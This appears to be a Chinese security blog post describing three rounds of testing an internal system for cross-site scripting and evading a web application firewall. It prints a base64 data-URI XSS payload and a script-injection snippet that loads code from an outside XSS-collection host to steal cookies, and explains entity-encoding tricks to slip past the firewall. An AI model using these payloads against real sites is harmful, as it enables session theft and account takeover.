xss bypass打cookie

作者:gqs

原文地址:https://secvul.com/topics/1268.html


背景

一个内部系统上线,前后三次测试, xss和bypasswaf的记录,坐下记录。

第一次测试

直接上注入点,过滤了”号

《xss bypass打cookie》

《xss bypass打cookie》

很容易想到下面的形式xss。

《xss bypass打cookie》

第二次测试

第一次草草修复如下。

《xss bypass打cookie》

前端限制,抓包直接突破,不多说了。

第三次测试

第二次修复 修改了代码还上了墙。说是着急上线了,我反正是管自己测试。

《xss bypass打cookie》

应该是在代码中用正则检测script等和xss有关的关键字,估计cookie等也被禁了,更不要说防火墙了。

继续bypass,用前些天发现的非常牛逼的一个xss-payload

<a href=”data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+”>123</a>

红色字段解密后是 《xss bypass打cookie》 ,效果是点击触发。

先来弹窗。

《xss bypass打cookie》

《xss bypass打cookie》

《xss bypass打cookie》

成功了,然后我在想,这么牛逼的xss-payload能不能过墙打cookie呢?

然后我把onload=后面换成

s=createElement(‘script’);body.appendChild(s);s.src=’http://xss.fbisb.com/xxxxxxxxxxx’;

的base64编码形式。

放上去后直接被防火墙烂了,想来也很正常,防火墙拦截一次base64解密后的敏感字段。

但是我的直觉告诉我这么牛逼的payload不应该停在这。是不是结合一波实体编码绕过。

先本地测试下:
《xss bypass打cookie》

将其中的某些东西实体编码了。只要是onload=后面的东西都支持。

《xss bypass打cookie》

可以看到我把一些waf可能识别到的关键字实体编码了

再这一坨base64编码,如果成功的话,待会waf可能就不好用了。

《xss bypass打cookie》

然后本地测试下是否能打到cookie。

《xss bypass打cookie》

好了payload好使,看看waf还能不能拦了。

《xss bypass打cookie》

好使,过去了。

再看下效果。

《xss bypass打cookie》

也都过来了,还好没有长度限制。

看到左下角这个东西就稳了。

《xss bypass打cookie》

《xss bypass打cookie》

思考人生

道高一尺魔高一丈,攻防本一家。

什么?你问我这么牛逼的xsspayload哪里来的?

用哪位大佬的话说就是,给你1w个payload,不谢。

https://4rtist.com/topics/297.html

点赞

发表评论